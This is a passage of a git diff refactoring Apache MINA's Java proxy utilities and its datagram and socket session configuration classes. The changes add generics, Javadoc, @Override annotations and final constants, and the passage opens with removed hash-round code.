(32 - 5); - c += ((d & (a | b)) | (a & b)) + X[8] + 0x5a827999; - c = c << 9 | c >>> (32 - 9); - b += ((c & (d | a)) | (d & a)) + X[12] + 0x5a827999; - b = b << 13 | b >>> (32 - 13); - a += ((b & (c | d)) | (c & d)) + X[1] + 0x5a827999; - a = a << 3 | a >>> (32 - 3); - d += ((a & (b | c)) | (b & c)) + X[5] + 0x5a827999; - d = d << 5 | d >>> (32 - 5); - c += ((d & (a | b)) | (a & b)) + X[9] + 0x5a827999; - c = c << 9 | c >>> (32 - 9); - b += ((c & (d | a)) | (d & a)) + X[13] + 0x5a827999; - b = b << 13 | b >>> (32 - 13); - a += ((b & (c | d)) | (c & d)) + X[2] + 0x5a827999; - a = a << 3 | a >>> (32 - 3); - d += ((a & (b | c)) | (b & c)) + X[6] + 0x5a827999; - d = d << 5 | d >>> (32 - 5); - c += ((d & (a | b)) | (a & b)) + X[10] + 0x5a827999; - c = c << 9 | c >>> (32 - 9); - b += ((c & (d | a)) | (d & a)) + X[14] + 0x5a827999; - b = b << 13 | b >>> (32 - 13); - a += ((b & (c | d)) | (c & d)) + X[3] + 0x5a827999; - a = a << 3 | a >>> (32 - 3); - d += ((a & (b | c)) | (b & c)) + X[7] + 0x5a827999; - d = d << 5 | d >>> (32 - 5); - c += ((d & (a | b)) | (a & b)) + X[11] + 0x5a827999; - c = c << 9 | c >>> (32 - 9); - b += ((c & (d | a)) | (d & a)) + X[15] + 0x5a827999; - b = b << 13 | b >>> (32 - 13); - - // Round 3 - a += (b ^ c ^ d) + X[0] + 0x6ed9eba1; - a = a << 3 | a >>> (32 - 3); - d += (a ^ b ^ c) + X[8] + 0x6ed9eba1; - d = d << 9 | d >>> (32 - 9); - c += (d ^ a ^ b) + X[4] + 0x6ed9eba1; - c = c << 11 | c >>> (32 - 11); - b += (c ^ d ^ a) + X[12] + 0x6ed9eba1; - b = b << 15 | b >>> (32 - 15); - a += (b ^ c ^ d) + X[2] + 0x6ed9eba1; - a = a << 3 | a >>> (32 - 3); - d += (a ^ b ^ c) + X[10] + 0x6ed9eba1; - d = d << 9 | d >>> (32 - 9); - c += (d ^ a ^ b) + X[6] + 0x6ed9eba1; - c = c << 11 | c >>> (32 - 11); - b += (c ^ d ^ a) + X[14] + 0x6ed9eba1; - b = b << 15 | b >>> (32 - 15); - a += (b ^ c ^ d) + X[1] + 0x6ed9eba1; - a = a << 3 | a >>> (32 - 3); - d += (a ^ b ^ c) + X[9] + 0x6ed9eba1; - d = d << 9 | d >>> (32 - 9); - c += (d ^ a ^ b) + X[5] + 0x6ed9eba1; - c = c << 11 | c >>> (32 - 11); - b += (c ^ d ^ a) + X[13] + 0x6ed9eba1; - b = b << 15 | b >>> (32 - 15); - a += (b ^ c ^ d) + X[3] + 0x6ed9eba1; - a = a << 3 | a >>> (32 - 3); - d += (a ^ b ^ c) + X[11] + 0x6ed9eba1; - d = d << 9 | d >>> (32 - 9); - c += (d ^ a ^ b) + X[7] + 0x6ed9eba1; - c = c << 11 | c >>> (32 - 11); - b += (c ^ d ^ a) + X[15] + 0x6ed9eba1; - b = b << 15 | b >>> (32 - 15); - - //Update state. - a += aa; - b += bb; - c += cc; - d += dd; - } -} diff --git a/mina-core/src/main/java/org/apache/mina/proxy/utils/StringUtilities.java b/mina-core/src/main/java/org/apache/mina/proxy/utils/StringUtilities.java index f10773883c..3cdbaa5a41 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/utils/StringUtilities.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/utils/StringUtilities.java @@ -21,6 +21,7 @@ import java.io.ByteArrayOutputStream; import java.io.UnsupportedEncodingException; +import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.HashMap; import java.util.List; @@ -36,7 +37,9 @@ * @since MINA 2.0.0-M3 */ public class StringUtilities { - + private StringUtilities(){ + } + /** * A directive is a parameter of the digest authentication process. * Returns the value of a directive from the map. If mandatory is true and the @@ -49,14 +52,13 @@ public class StringUtilities { * @throws AuthenticationException if mandatory is true and if * directivesMap.get(directive) == null */ - public static String getDirectiveValue( - HashMap directivesMap, String directive, - boolean mandatory) throws AuthenticationException { + public static String getDirectiveValue(Map directivesMap, String directive, boolean mandatory) + throws AuthenticationException { String value = directivesMap.get(directive); + if (value == null) { if (mandatory) { - throw new AuthenticationException("\"" + directive - + "\" mandatory directive is missing"); + throw new AuthenticationException("\"" + directive + "\" mandatory directive is missing"); } return ""; @@ -73,12 +75,11 @@ public static String getDirectiveValue( * @param sb the output buffer * @param directive the directive name to look for */ - public static void copyDirective(HashMap directives, - StringBuilder sb, String directive) { + public static void copyDirective(Map directives, StringBuilder sb, String directive) { String directiveValue = directives.get(directive); + if (directiveValue != null) { - sb.append(directive).append(" = \"").append(directiveValue).append( - "\", "); + sb.append(directive).append(" = \"").append(directiveValue).append("\", "); } } @@ -92,9 +93,9 @@ public static void copyDirective(HashMap directives, * @param directive the directive name * @return the value of the copied directive */ - public static String copyDirective(HashMap src, - HashMap dst, String directive) { + public static String copyDirective(Map src, Map dst, String directive) { String directiveValue = src.get(directive); + if (directiveValue != null) { dst.put(directive, directiveValue); } @@ -107,12 +108,11 @@ public static String copyDirective(HashMap src, * is a directive. * * @param buf A non-null digest-challenge string. - * @throws UnsupportedEncodingException + * @return A Map containing the aprsed directives * @throws SaslException if the String cannot be parsed according to RFC 2831 */ - public static HashMap parseDirectives(byte[] buf) - throws SaslException { - HashMap map = new HashMap(); + public static Map parseDirectives(byte[] buf) throws SaslException { + Map map = new HashMap<>(); boolean gettingKey = true; boolean gettingQuotedValue = false; boolean expectSeparator = false; @@ -122,14 +122,14 @@ public static HashMap parseDirectives(byte[] buf) ByteArrayOutputStream value = new ByteArrayOutputStream(10); int i = skipLws(buf, 0); + while (i < buf.length) { bch = buf[i]; if (gettingKey) { if (bch == ',') { if (key.size() != 0) { - throw new SaslException("Directive key contains a ',':" - + key); + throw new SaslException("Directive key contains a ',':" + key); } // Empty element, skip separator and lws @@ -149,8 +149,7 @@ public static HashMap parseDirectives(byte[] buf) ++i; // Skip quote } } else { - throw new SaslException("Valueless directive found: " - + key.toString()); + throw new SaslException("Valueless directive found: " + key.toString()); } } else if (isLws(bch)) { // LWS that occurs after key @@ -159,12 +158,10 @@ public static HashMap parseDirectives(byte[] buf) // Expecting '=' if (i < buf.length) { if (buf[i] != '=') { - throw new SaslException("'=' expected after key: " - + key.toString()); + throw new SaslException("'=' expected after key: " + key.toString()); } } else { - throw new SaslException("'=' expected after key: " - + key.toString()); + throw new SaslException("'=' expected after key: " + key.toString()); } } else { key.write(bch); // Append to key @@ -175,15 +172,14 @@ public static HashMap parseDirectives(byte[] buf) if (bch == '\\') { // quoted-pair = "\" CHAR ==> CHAR ++i; // Skip escape + if (i < buf.length) { value.write(buf[i]); ++i; // Advance } else { // Trailing escape in a quoted value - throw new SaslException( - "Unmatched quote found for directive: " - + key.toString() + " with value: " - + value.toString()); + throw new SaslException("Unmatched quote found for directive: " + key.toString() + + " with value: " + value.toString()); } } else if (bch == '"') { // closing quote @@ -203,9 +199,8 @@ public static HashMap parseDirectives(byte[] buf) gettingQuotedValue = expectSeparator = false; i = skipLws(buf, i + 1); // Skip separator and LWS } else if (expectSeparator) { - throw new SaslException( - "Expecting comma or linear whitespace after quoted string: \"" - + value.toString() + "\""); + throw new SaslException("Expecting comma or linear whitespace after quoted string: \"" + + value.toString() + "\""); } else { value.write(bch); // Unquoted value ++i; // Advance @@ -213,8 +208,8 @@ public static HashMap parseDirectives(byte[] buf) } if (gettingQuotedValue) { - throw new SaslException("Unmatched quote found for directive: " - + key.toString() + " with value: " + value.toString()); + throw new SaslException("Unmatched quote found for directive: " + key.toString() + " with value: " + + value.toString()); } // Get last pair @@ -234,11 +229,9 @@ public static HashMap parseDirectives(byte[] buf) * @throws SaslException if either the key or the value is null or * if the key already has a value. */ - private static void extractDirective(HashMap map, - String key, String value) throws SaslException { + private static void extractDirective(Map map, String key, String value) throws SaslException { if (map.get(key) != null) { - throw new SaslException("Peer sent more than one " + key - + " directive"); + throw new SaslException("Peer sent more than one " + key + " directive"); } map.put(key, value); @@ -254,10 +247,10 @@ private static void extractDirective(HashMap map, */ public static boolean isLws(byte b) { switch (b) { - case 13: // US-ASCII CR, carriage return - case 10: // US-ASCII LF, line feed - case 32: // US-ASCII SP, space - case 9: // US-ASCII HT, horizontal-tab + case 13: // US-ASCII CR, carriage return + case 10: // US-ASCII LF, line feed + case 32: // US-ASCII SP, space + case 9: // US-ASCII HT, horizontal-tab return true; } @@ -289,15 +282,14 @@ private static int skipLws(byte[] buf, int start) { * * @param str a non-null String * @return a non-null String containing the 8859_1 encoded string - * @throws AuthenticationException + * @throws UnsupportedEncodingException if we weren't able to decode using the ISO 8859_1 encoding */ - public static String stringTo8859_1(String str) - throws UnsupportedEncodingException { + public static String stringTo8859_1(String str) throws UnsupportedEncodingException { if (str == null) { return ""; } - return new String(str.getBytes("UTF8"), "8859_1"); + return new String(str.getBytes(StandardCharsets.UTF_8), StandardCharsets.ISO_8859_1); } /** @@ -308,8 +300,7 @@ public static String stringTo8859_1(String str) * @param key the key of the header * @return the value of the http header */ - public static String getSingleValuedHeader( - Map> headers, String key) { + public static String getSingleValuedHeader(Map> headers, String key) { List values = headers.get(key); if (values == null) { @@ -317,8 +308,7 @@ public static String getSingleValuedHeader( } if (values.size() > 1) { - throw new IllegalArgumentException("Header with key [\"" + key - + "\"] isn't single valued !"); + throw new IllegalArgumentException("Header with key [\"" + key + "\"] isn't single valued !"); } return values.get(0); @@ -334,12 +324,12 @@ public static String getSingleValuedHeader( * then it is replaced by the new value. Otherwise it simply adds a new * value to this multi-valued header. */ - public static void addValueToHeader(Map> headers, - String key, String value, boolean singleValued) { + public static void addValueToHeader(Map> headers, String key, String value, + boolean singleValued) { List values = headers.get(key); if (values == null) { - values = new ArrayList(1); + values = new ArrayList<>(1); headers.put(key, values); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractDatagramSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractDatagramSessionConfig.java index d9339c9bcb..9441e18ad2 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractDatagramSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractDatagramSessionConfig.java @@ -23,42 +23,45 @@ import org.apache.mina.core.session.IoSessionConfig; /** - * TODO Add documentation + * The Datagram transport session configuration. * * @author Apache MINA Project */ -public abstract class AbstractDatagramSessionConfig extends - AbstractIoSessionConfig implements DatagramSessionConfig { - - private static final boolean DEFAULT_CLOSE_ON_PORT_UNREACHABLE = true; - - private boolean closeOnPortUnreachable = DEFAULT_CLOSE_ON_PORT_UNREACHABLE; - - protected AbstractDatagramSessionConfig() { - // Do nothing - } +public abstract class AbstractDatagramSessionConfig extends AbstractIoSessionConfig implements DatagramSessionConfig { + /** Tells if we should close the session if the port is unreachable. Default to true */ + private boolean closeOnPortUnreachable = true; + /** + * {@inheritDoc} + */ @Override - protected void doSetAll(IoSessionConfig config) { + public void setAll(IoSessionConfig config) { + super.setAll(config); + if (!(config instanceof DatagramSessionConfig)) { return; } - + if (config instanceof AbstractDatagramSessionConfig) { // Minimize unnecessary system calls by checking all 'propertyChanged' properties. AbstractDatagramSessionConfig cfg = (AbstractDatagramSessionConfig) config; + if (cfg.isBroadcastChanged()) { setBroadcast(cfg.isBroadcast()); } + if (cfg.isReceiveBufferSizeChanged()) { setReceiveBufferSize(cfg.getReceiveBufferSize()); } + if (cfg.isReuseAddressChanged()) { setReuseAddress(cfg.isReuseAddress()); } + if (cfg.isSendBufferSizeChanged()) { setSendBufferSize(cfg.getSendBufferSize()); } + if (cfg.isTrafficClassChanged() && getTrafficClass() != cfg.getTrafficClass()) { setTrafficClass(cfg.getTrafficClass()); } @@ -68,17 +71,18 @@ protected void doSetAll(IoSessionConfig config) { setReceiveBufferSize(cfg.getReceiveBufferSize()); setReuseAddress(cfg.isReuseAddress()); setSendBufferSize(cfg.getSendBufferSize()); + if (getTrafficClass() != cfg.getTrafficClass()) { setTrafficClass(cfg.getTrafficClass()); } } } - + /** - * Returns true if and only if the broadcast property + * @return true if and only if the broadcast property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isBroadcastChanged() { @@ -86,10 +90,10 @@ protected boolean isBroadcastChanged() { } /** - * Returns true if and only if the receiveBufferSize property + * @return true if and only if the receiveBufferSize property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isReceiveBufferSizeChanged() { @@ -97,10 +101,10 @@ protected boolean isReceiveBufferSizeChanged() { } /** - * Returns true if and only if the reuseAddress property + * @return true if and only if the reuseAddress property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isReuseAddressChanged() { @@ -108,10 +112,10 @@ protected boolean isReuseAddressChanged() { } /** - * Returns true if and only if the sendBufferSize property + * @return true if and only if the sendBufferSize property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isSendBufferSizeChanged() { @@ -119,19 +123,20 @@ protected boolean isSendBufferSizeChanged() { } /** - * Returns true if and only if the trafficClass property + * @return true if and only if the trafficClass property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ - protected boolean isTrafficClassChanged() { + protected boolean isTrafficClassChanged() { return true; } - + /** * {@inheritDoc} */ + @Override public boolean isCloseOnPortUnreachable() { return closeOnPortUnreachable; } @@ -139,6 +144,7 @@ public boolean isCloseOnPortUnreachable() { /** * {@inheritDoc} */ + @Override public void setCloseOnPortUnreachable(boolean closeOnPortUnreachable) { this.closeOnPortUnreachable = closeOnPortUnreachable; } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractSocketSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractSocketSessionConfig.java index 1a478185aa..5a7649dfff 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractSocketSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/AbstractSocketSessionConfig.java @@ -23,23 +23,22 @@ import org.apache.mina.core.session.IoSessionConfig; /** - * TODO Add documentation + * The TCP transport session configuration. * * @author Apache MINA Project */ -public abstract class AbstractSocketSessionConfig extends AbstractIoSessionConfig - implements SocketSessionConfig { - - protected AbstractSocketSessionConfig() { - // Do nothing - } - +public abstract class AbstractSocketSessionConfig extends AbstractIoSessionConfig implements SocketSessionConfig { + /** + * {@inheritDoc} + */ @Override - protected final void doSetAll(IoSessionConfig config) { + public void setAll(IoSessionConfig config) { + super.setAll(config); + if (!(config instanceof SocketSessionConfig)) { return; } - + if (config instanceof AbstractSocketSessionConfig) { // Minimize unnecessary system calls by checking all 'propertyChanged' properties. AbstractSocketSessionConfig cfg = (AbstractSocketSessionConfig) config; @@ -83,10 +82,10 @@ protected final void doSetAll(IoSessionConfig config) { } /** - * Returns true if and only if the keepAlive property + * @return true if and only if the keepAlive property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isKeepAliveChanged() { @@ -94,10 +93,10 @@ protected boolean isKeepAliveChanged() { } /** - * Returns true if and only if the oobInline property + * @return true if and only if the oobInline property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isOobInlineChanged() { @@ -105,65 +104,65 @@ protected boolean isOobInlineChanged() { } /** - * Returns true if and only if the receiveBufferSize property + * @return true if and only if the receiveBufferSize property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isReceiveBufferSizeChanged() { return true; } - + /** - * Returns true if and only if the reuseAddress property + * @return true if and only if the reuseAddress property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isReuseAddressChanged() { return true; } - + /** - * Returns true if and only if the sendBufferSize property + * @return true if and only if the sendBufferSize property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isSendBufferSizeChanged() { return true; } - + /** - * Returns true if and only if the soLinger property + * @return true if and only if the soLinger property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isSoLingerChanged() { return true; } - + /** - * Returns true if and only if the tcpNoDelay property + * @return true if and only if the tcpNoDelay property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isTcpNoDelayChanged() { return true; } - + /** - * Returns true if and only if the trafficClass property + * @return true if and only if the trafficClass property * has been changed by its setter method. The system call related with - * the property is made only when this method returns true. By - * default, this method always returns true to simplify implementation + * the property is made only when this method returns true. By + * default, this method always returns true to simplify implementation * of subclasses, but overriding the default behavior is always encouraged. */ protected boolean isTrafficClassChanged() { diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramAcceptor.java b/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramAcceptor.java index 1371efae0c..53578bc145 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramAcceptor.java @@ -20,8 +20,10 @@ package org.apache.mina.transport.socket; import java.net.InetSocketAddress; +import java.util.Set; import org.apache.mina.core.service.IoAcceptor; +import org.apache.mina.core.session.IoSession; import org.apache.mina.core.session.IoSessionRecycler; /** @@ -30,19 +32,48 @@ * @author Apache MINA Project */ public interface DatagramAcceptor extends IoAcceptor { + /** + * @return the local InetSocketAddress which is bound currently. If more than one + * address are bound, only one of them will be returned, but it's not + * necessarily the firstly bound address. + * This method overrides the {@link IoAcceptor#getLocalAddress()} method. + */ + @Override InetSocketAddress getLocalAddress(); + + /** + * @return a {@link Set} of the local InetSocketAddress which are bound currently. + * This method overrides the {@link IoAcceptor#getDefaultLocalAddress()} method. + */ + @Override InetSocketAddress getDefaultLocalAddress(); + + /** + * Sets the default local InetSocketAddress to bind when no argument is specified in + * {@link #bind()} method. Please note that the default will not be used + * if any local InetSocketAddress is specified. + * This method overrides the {@link IoAcceptor#setDefaultLocalAddress(java.net.SocketAddress)} method. + * + * @param localAddress The local address + */ void setDefaultLocalAddress(InetSocketAddress localAddress); /** - * Returns the {@link IoSessionRecycler} for this service. + * @return the {@link IoSessionRecycler} for this service. */ IoSessionRecycler getSessionRecycler(); /** * Sets the {@link IoSessionRecycler} for this service. * - * @param sessionRecycler null to use the default recycler + * @param sessionRecycler null to use the default recycler */ void setSessionRecycler(IoSessionRecycler sessionRecycler); + + /** + * @return the default Datagram configuration of the new {@link IoSession}s + * created by this service. + */ + @Override + DatagramSessionConfig getSessionConfig(); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramConnector.java b/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramConnector.java index a5916fe1dc..15ee0564ee 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramConnector.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramConnector.java @@ -29,6 +29,27 @@ * @author Apache MINA Project */ public interface DatagramConnector extends IoConnector { + /** + * @return the default remote InetSocketAddress to connect to when no argument + * is specified in {@link #connect()} method. + * This method overrides the {@link IoConnector#getDefaultRemoteAddress()} method. + */ + @Override InetSocketAddress getDefaultRemoteAddress(); + + /** + * @return the default configuration of the new FatagramSessions created by + * this connect service. + */ + @Override + DatagramSessionConfig getSessionConfig(); + + /** + * Sets the default remote InetSocketAddress to connect to when no argument is + * specified in {@link #connect()} method. + * This method overrides the {@link IoConnector#setDefaultRemoteAddress(java.net.SocketAddress)} method. + * + * @param remoteAddress The remote address to set + */ void setDefaultRemoteAddress(InetSocketAddress remoteAddress); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramSessionConfig.java index d9aaf31ce0..4892644921 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/DatagramSessionConfig.java @@ -31,64 +31,101 @@ */ public interface DatagramSessionConfig extends IoSessionConfig { /** + * Tell if SO_BROADCAST is enabled + * * @see DatagramSocket#getBroadcast() + * + * @return true if SO_BROADCAST is enabled. */ boolean isBroadcast(); /** * @see DatagramSocket#setBroadcast(boolean) + * + * @param broadcast Tells if SO_BROACAST is enabled or not */ void setBroadcast(boolean broadcast); /** + * Tells if SO_REUSEADDR is enabled + * * @see DatagramSocket#getReuseAddress() + * + * @return true if SO_REUSEADDR is enabled. */ boolean isReuseAddress(); /** * @see DatagramSocket#setReuseAddress(boolean) + * + * @param reuseAddress Tells if SO_REUSEADDR is enabled or disabled */ void setReuseAddress(boolean reuseAddress); /** + * Get the size of the receive buffer + * * @see DatagramSocket#getReceiveBufferSize() + * + * @return the size of the receive buffer */ int getReceiveBufferSize(); /** * @see DatagramSocket#setReceiveBufferSize(int) + * + * @param receiveBufferSize The size of the receive buffer */ void setReceiveBufferSize(int receiveBufferSize); /** + * Get the size of the send buffer + * * @see DatagramSocket#getSendBufferSize() + * + * @return the size of the send buffer */ int getSendBufferSize(); /** * @see DatagramSocket#setSendBufferSize(int) + * + * @param sendBufferSize The size of the send buffer */ void setSendBufferSize(int sendBufferSize); /** + * Get the traffic class + * * @see DatagramSocket#getTrafficClass() + * + * @return the traffic class */ int getTrafficClass(); /** * @see DatagramSocket#setTrafficClass(int) + * + * @param trafficClass The traffic class to set, one of IPTOS_LOWCOST (0x02) + * IPTOS_RELIABILITY (0x04), IPTOS_THROUGHPUT (0x08) or IPTOS_LOWDELAY (0x10) */ void setTrafficClass(int trafficClass); /** + * Tells if we should close if the port is unreachable + * * If method returns true, it means session should be closed when a * {@link PortUnreachableException} occurs. + * + * @return Tells if we should close if the port is unreachable */ boolean isCloseOnPortUnreachable(); /** * Sets if the session should be closed if an {@link PortUnreachableException} * occurs. + * + * @param closeOnPortUnreachable true if we should close if the port is unreachable */ void setCloseOnPortUnreachable(boolean closeOnPortUnreachable); } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultDatagramSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultDatagramSessionConfig.java index 680e6c1983..198d479201 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultDatagramSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultDatagramSessionConfig.java @@ -27,18 +27,28 @@ * @author Apache MINA Project */ public class DefaultDatagramSessionConfig extends AbstractDatagramSessionConfig { - private static boolean DEFAULT_BROADCAST = false; - private static boolean DEFAULT_REUSE_ADDRESS = false; - private static int DEFAULT_RECEIVE_BUFFER_SIZE = 1024; - private static int DEFAULT_SEND_BUFFER_SIZE = 1024; - private static int DEFAULT_TRAFFIC_CLASS = 0; + private static final boolean DEFAULT_BROADCAST = false; + + private static final boolean DEFAULT_REUSE_ADDRESS = false; + + /* The SO_RCVBUF parameter. Set to -1 (ie, will default to OS default) */ + private static final int DEFAULT_RECEIVE_BUFFER_SIZE = -1; + + /* The SO_SNDBUF parameter. Set to -1 (ie, will default to OS default) */ + private static final int DEFAULT_SEND_BUFFER_SIZE = -1; + + private static final int DEFAULT_TRAFFIC_CLASS = 0; private boolean broadcast = DEFAULT_BROADCAST; + private boolean reuseAddress = DEFAULT_REUSE_ADDRESS; + private int receiveBufferSize = DEFAULT_RECEIVE_BUFFER_SIZE; + private int sendBufferSize = DEFAULT_SEND_BUFFER_SIZE; + private int trafficClass = DEFAULT_TRAFFIC_CLASS; - + /** * Creates a new instance. */ @@ -49,6 +59,7 @@ public DefaultDatagramSessionConfig() { /** * @see DatagramSocket#getBroadcast() */ + @Override public boolean isBroadcast() { return broadcast; } @@ -56,6 +67,7 @@ public boolean isBroadcast() { /** * @see DatagramSocket#setBroadcast(boolean) */ + @Override public void setBroadcast(boolean broadcast) { this.broadcast = broadcast; } @@ -63,6 +75,7 @@ public void setBroadcast(boolean broadcast) { /** * @see DatagramSocket#getReuseAddress() */ + @Override public boolean isReuseAddress() { return reuseAddress; } @@ -70,6 +83,7 @@ public boolean isReuseAddress() { /** * @see DatagramSocket#setReuseAddress(boolean) */ + @Override public void setReuseAddress(boolean reuseAddress) { this.reuseAddress = reuseAddress; } @@ -77,6 +91,7 @@ public void setReuseAddress(boolean reuseAddress) { /** * @see DatagramSocket#getReceiveBufferSize() */ + @Override public int getReceiveBufferSize() { return receiveBufferSize; } @@ -84,6 +99,7 @@ public int getReceiveBufferSize() { /** * @see DatagramSocket#setReceiveBufferSize(int) */ + @Override public void setReceiveBufferSize(int receiveBufferSize) { this.receiveBufferSize = receiveBufferSize; } @@ -91,6 +107,7 @@ public void setReceiveBufferSize(int receiveBufferSize) { /** * @see DatagramSocket#getSendBufferSize() */ + @Override public int getSendBufferSize() { return sendBufferSize; } @@ -98,6 +115,7 @@ public int getSendBufferSize() { /** * @see DatagramSocket#setSendBufferSize(int) */ + @Override public void setSendBufferSize(int sendBufferSize) { this.sendBufferSize = sendBufferSize; } @@ -105,6 +123,7 @@ public void setSendBufferSize(int sendBufferSize) { /** * @see DatagramSocket#getTrafficClass() */ + @Override public int getTrafficClass() { return trafficClass; } @@ -112,33 +131,48 @@ public int getTrafficClass() { /** * @see DatagramSocket#setTrafficClass(int) */ + @Override public void setTrafficClass(int trafficClass) { this.trafficClass = trafficClass; } + /** + * {@inheritDoc} + */ @Override protected boolean isBroadcastChanged() { return broadcast != DEFAULT_BROADCAST; } + /** + * {@inheritDoc} + */ @Override protected boolean isReceiveBufferSizeChanged() { return receiveBufferSize != DEFAULT_RECEIVE_BUFFER_SIZE; } + /** + * {@inheritDoc} + */ @Override protected boolean isReuseAddressChanged() { return reuseAddress != DEFAULT_REUSE_ADDRESS; } + /** + * {@inheritDoc} + */ @Override protected boolean isSendBufferSizeChanged() { return sendBufferSize != DEFAULT_SEND_BUFFER_SIZE; } + /** + * {@inheritDoc} + */ @Override protected boolean isTrafficClassChanged() { return trafficClass != DEFAULT_TRAFFIC_CLASS; } - } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultSocketSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultSocketSessionConfig.java index 6a65ed05bd..dedd5b5e0c 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultSocketSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/DefaultSocketSessionConfig.java @@ -27,28 +27,38 @@ * @author Apache MINA Project */ public class DefaultSocketSessionConfig extends AbstractSocketSessionConfig { - private static boolean DEFAULT_REUSE_ADDRESS = false; - private static int DEFAULT_TRAFFIC_CLASS = 0; - private static boolean DEFAULT_KEEP_ALIVE = false; - private static boolean DEFAULT_OOB_INLINE = false; - private static int DEFAULT_SO_LINGER = -1; - private static boolean DEFAULT_TCP_NO_DELAY = false; + private static final boolean DEFAULT_REUSE_ADDRESS = false; + + private static final int DEFAULT_TRAFFIC_CLASS = 0; + + private static final boolean DEFAULT_KEEP_ALIVE = false; + + private static final boolean DEFAULT_OOB_INLINE = false; + + private static final int DEFAULT_SO_LINGER = -1; + + private static final boolean DEFAULT_TCP_NO_DELAY = false; protected IoService parent; + private boolean defaultReuseAddress; private boolean reuseAddress; - + /* The SO_RCVBUF parameter. Set to -1 (ie, will default to OS default) */ private int receiveBufferSize = -1; /* The SO_SNDBUF parameter. Set to -1 (ie, will default to OS default) */ private int sendBufferSize = -1; - + private int trafficClass = DEFAULT_TRAFFIC_CLASS; + private boolean keepAlive = DEFAULT_KEEP_ALIVE; + private boolean oobInline = DEFAULT_OOB_INLINE; + private int soLinger = DEFAULT_SO_LINGER; + private boolean tcpNoDelay = DEFAULT_TCP_NO_DELAY; /** @@ -58,117 +68,210 @@ public DefaultSocketSessionConfig() { // Do nothing } + /** + * Initialize this configuration. + * + * @param parent The parent IoService. + */ public void init(IoService parent) { this.parent = parent; - + if (parent instanceof SocketAcceptor) { defaultReuseAddress = true; } else { defaultReuseAddress = DEFAULT_REUSE_ADDRESS; } - + reuseAddress = defaultReuseAddress; } + /** + * {@inheritDoc} + */ + @Override public boolean isReuseAddress() { 